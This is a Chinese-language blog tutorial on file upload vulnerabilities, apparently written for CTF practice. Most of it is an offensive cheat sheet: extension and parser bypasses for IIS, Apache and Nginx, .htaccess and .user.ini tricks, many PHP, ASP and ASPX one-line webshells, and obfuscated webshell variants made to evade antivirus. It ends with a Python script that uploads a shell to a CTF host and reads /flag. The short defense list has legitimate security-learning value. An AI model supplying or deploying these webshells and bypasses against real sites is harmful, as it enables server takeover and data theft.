文件上传漏洞

8 篇文章 0 订阅
3 篇文章 0 订阅

文件上传漏洞

文件上传漏洞原理

网站Web应用都有一些文件上传功能,比如文档、图片、头像、视频上传,当上传功能的实现此时攻击者就可以上传一个webshell到一个Web代码没有严格校验上传文件的后缀和文件类型,可访问的目录上,并将恶意文件传递给如PHP解释器去执行,之后就可以在服务器上执行恶意代码,进行数据库执行、服务器文件管理,服务器命令执行等恶意操作。还有一部分是攻击者通过Web服务器的解析漏洞来突破Web应用程序的防护。

常见的文件上位置

常规类:后台系统、会员中心、个人资料
CMS类:已知的CMS源码,搜索已知cms漏洞、例如wordprocess
编辑器类:ckeditor、fckeditor、kindedtior、xxxeditor
中间件类:可以通过中间件解析漏洞,上传包含后门代码的图片
其他类:代码审计

触发条件

  • 上传的文件被Web容器解释执行
  • 用户能够从web网页访问到被上传的文件(直接或间接)
  • 用户上传的文件通常不能被网站程序压缩、修改内容

漏洞流程

制作木马文件(图片)

上传木马文件

找到上传的木马并执行

通过工具进行连接

防御文件上传

  • 客户端javascript校验(通常校验扩展名)
  • 检查文件扩展名
  • 检查MIME类型
  • 随机文件名
  • 隐藏路径
  • 重写内容(影响效率)imagecreatefromjpeg…
  • 检查内容是否合法

文件上传绕过

1、客户端JS文件后缀检测

前端一般都是使用js来限制我们的上传类型和文件大小

绕过方式
1.禁用检测文件后缀的JS代码
2.上传正常格式文件,抓包修改文件的filename为脚本格式

2、服务器检测绕过
2.1上传文件后缀黑名单

可解析的扩展文件名
asp/aspx:
asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cEr

php:
php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,htm,phtml,pht,Html,Htm,pHtml

JSp:

jsp,jspa,jspx,jsw,jsv,jspfjtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml

::$DATA绕过
:$data的作用是将webshell.php当做字符流处理,所以对其后缀名检测不成功。

加空格绕过
加.绕过

2.2上传文件后缀白名单

IS6.0解析漏洞
目录解析:www.Xxx.com/xx.asp/xx.jpg
原理: 服务器默认会把.asp,.asa目录下的文件都解析成asp文件

文件解析:www.xxx.com/xx.asp;.ipg

原理:服务器默认不解析;号后面的内容,因此xx.asp;jpg便被解析 成asp文件了。

IIS7.0/7.5解析漏洞
形式:www.xxxx.com/1.jpg/1.php
原理:IIS7.0/7.5的漏洞,都是由于php配置文件中,开启了cgi.fix_pathinfo所以当接收到/1.jpg/1.php(不存在)参数时,会将.1jpg当做php文件解析,

Nginx解析漏洞与IIS7.5类似

Apache解析漏洞
形式:www.XXXX.Xxx.com/test.php.XXXXX
原理:Apache解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。

.htaccess

只要有这个配置文件,并且内容为“AddType application/x-httpd-php .jpg(就是把所以jpg后缀的文件全都当作php文件来执行)”

AddType application/x-httpd-php.jpg
如果在后面加一个.jpg,或者.png的话,那我们传的jpg,它就能够把它当作php的一个代码,来执行

或者:

上传一个.htaccess文件,内容如下

<FilesMatch "shell.png">
SetHandler application/x-httpd-php
</FilesMatch>

上传一个图片码

cmd
copy old.png/b + orion.php /a newnamepng
注:/a 表示 ASCII码文件 /b 表示二进制文件

.user.ini绕过

一般用于nginx服务器

首先介绍php.ini文件,php有很多配置,并可以在php.ini中设置。在每个正规的网站里,都会有这样一个文件,而且每次运行PHP文件时,都会去读取这个配置文件,来设置PHP的相关规则。

.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、

PHP_INI_USER”的设置。

其中有两个配置,可以用来制造后门:

auto_append_file 相当于指定一个文件,自动包含在要执行的文件前

auto_prepend_file 相当于指定一个文件,自动包含在要执行的文件后

1、建立一个 .user.ini文件,写入以下内容,然后上传

auto_prepend_file=phpinfo.png

2、在上传一个图片马即可

3、访问上传目录下的index.php即可

%00截断和0x00截断
前提条件:php版本小于等于5.3.4并且魔术引号(magic_quotes_gpc)需要关闭
0x00是十六进制表示方法,是ascii码为0的字符,在有些函数处理时,会把这个字符当做结束符

条件竞争
一些网站上传文件的逻辑是先允许上传任意文件,然后检查上传的文件是否包含Webshell脚本,如果包含则删除文件。这里存在一个问题是文件上传成功后和删除文件之间存在一个短的时间差(因为要执行文件上传和删除文件的操作),攻击者就可以利用这个时间差完成竞争条件的上传漏洞攻击。

fputs(fopen('shel16666.php','w'),'<?php @eval($_POST[1])?>');
2.3MIME类型

文件类型MIME信息
浏览器通常使用MIME类型(而不是文件扩展名)来确定如何处理URL,因此Web服务器在响应头中添加正确的MIME类型非常重要。如果配置不正确,浏览器可能会曲解文件内容,网站将无法正常工作,并且下载的文件也会被错误处理。

Content-Type:image/gif字段超文本标记语言文本.html,html text/html
普通文本.txt text/plain
RTF文本.rtf application/rtf
GIF图形.gif image/gif
JPEG图形.ipeg.jpg image/jpegau
声音文件.au audio/basic
MIDI音乐文件mid,midi audio/midi,audio/x-midi
RealAudio音乐文件.ra,.ram audio/x-pn-realaudio
MPEG文件.mpg,mpeg video/mpeg
AVI文件.avi video/x-msvideo
GZIP文件.gz application/x-gzip
TAR文件.tar application/x-tar
2.4内容绕过
一句话木马

什么是一句话木马?

<?php eval($_POST["shell"]);?>

其中eval就是执行命令的函数,官方给的说明是eval — 把字符串作为PHP代码执行

函数eval()语言结构是非常危险的,因为它允许执行任意 PHP 代码。

$_POST[‘shell’]就是接收的数据。也可以使用$_GET或者$_REQUEST。eval函数把接收的数据当作php代码来执行。

这样我们就能够让插了一句话木马的网站执行我们传递过去的任意php语句。

php一句话木马

<?php eval($_POST["abc"]);?>
<script language="PHP">@eval($_POST["abc"]);</script>  PHP绕过<?检测
<?=`$_GET[abc]`?><?=`cat /flag`?>
<?=`echo PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg== | base64 -d > sss.php`;?>
<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>
<script language='php'>assert($_REQUEST['cmd'])</script>

asp一句话木马

<%execute(request("abc"))%>
<%eval request("abc")%>
<%eval(Request.Item["abc"],"unsafe");%>

aspx一句话木马

<%@ Page Language="Jscript"%><%eval(Request.Item["abc"],"unsafe");%>
<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>

注:一句话木马均为abc

一句话木马绕过

字符串 函数

addcslashes —以C语言风格使用反斜线转义字符串中的字符。
addslashes一使用反斜线引用字符串
bin2hex	—函数把包含数据的二进制字符串转换为十六进制值
ochop —rtrim的别名
chr —返回指定的字符
chunk split   —将字符串分割成小块
convert cvr string —将字符由一种Cyrillic字符转换成另一种
convert uudecode一解码一个uuencode编码的字符串。
convert uuencode一使用uuencode编码一个字符串。
count chars —返回字符串所用字符的信息。
crc32 —计算一个字符串的crc32多项式
crypt —单向字符串散列
echo —输出一个或多个字符串
explode —使用一个字符串分割另一个字符串
fprintf —将格式化后的字符串写入到流
get html translation table —返回使用htmlspecialchars和htmlentities后的转换表
hebrev一将逻辑顺序希伯来文(logical-Hebrew)转换为视觉顺序希伯来文(visual-Hebrew)
hebrevc一将逻辑顺序希伯来文(logical-Hebrew)转换为视觉顺序希伯来文(visual-Hebrew),并且转换换行符hex2bin —转换十六进制字符串为二进制字符串
html entity decode —Convert all HTML entities to their applicable characters
htmlentities —Convert all applicable characters to HTML entities
htmlspecialchars decode —将特殊的HTML实体转换回普通字符
htmlspecialchars —Convert special characters to HTML entities
implode —将一个一维数组的值转化为字符串
join一别名implode
lcfirst —使一个字符串的第一个字符小写

编码绕过

这个比较常用得是base64_decode,和base64_encode这一对。因为他的正则匹配可以加入一些下划线干扰杀软

<?php
$a =base64_decode("YXNz+ZX___J___0");
$a($_POST["shel1"]);
?>

特殊字符干扰

<?php
$a=$_POST['a'];
$b="\n";
eval($b.=$a);
?>

回调函数

<?php
forward_static_call_array(assert,array($_POST["shell"])
?>

自定义函数

<?php
  function shadog($a){
  $a($_POST["shell"]);
}
shadog(assert);
?> 
一句话木马图片制作

法一:

cmd
copy old.png/b + orion.php /a newnamepng
注:/a 表示 ASCII码文件 /b 表示二进制文件

法二:

txt改后缀名png/jpg等

脚本实现文件上传

import requests
url = "http://b4b383eb-4e7a-49d5-a868-3fcc92ca783f.node4.buuoj.cn:81/"
session = requests.session()

print(session)

htaccess = {'uploaded': ('.htaccess', "SetHandler application/x-httpd-php", 'image/jpeg')}
res_hta = session.post(url, files=htaccess)
print(res_hta.text)

files = {'uploaded': ('123.jpg', "<script language=\"php\">echo file_get_contents(\"/flag\");</script>", 'image/jpeg')}
#files1 = {'uploaded': ('789.jpg', "<script language=\"PHP\">@eval($_POST[\"orion\"]);</script>", 'image/jpeg')}
res_jpg = session.post(url, files=files)
print(res_jpg.text)

res_shell = session.post(url + res_jpg.text[-69:-22], data = {'a':'echo file_get_contents(\'/flag\');'})

print(res_shell.text)
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值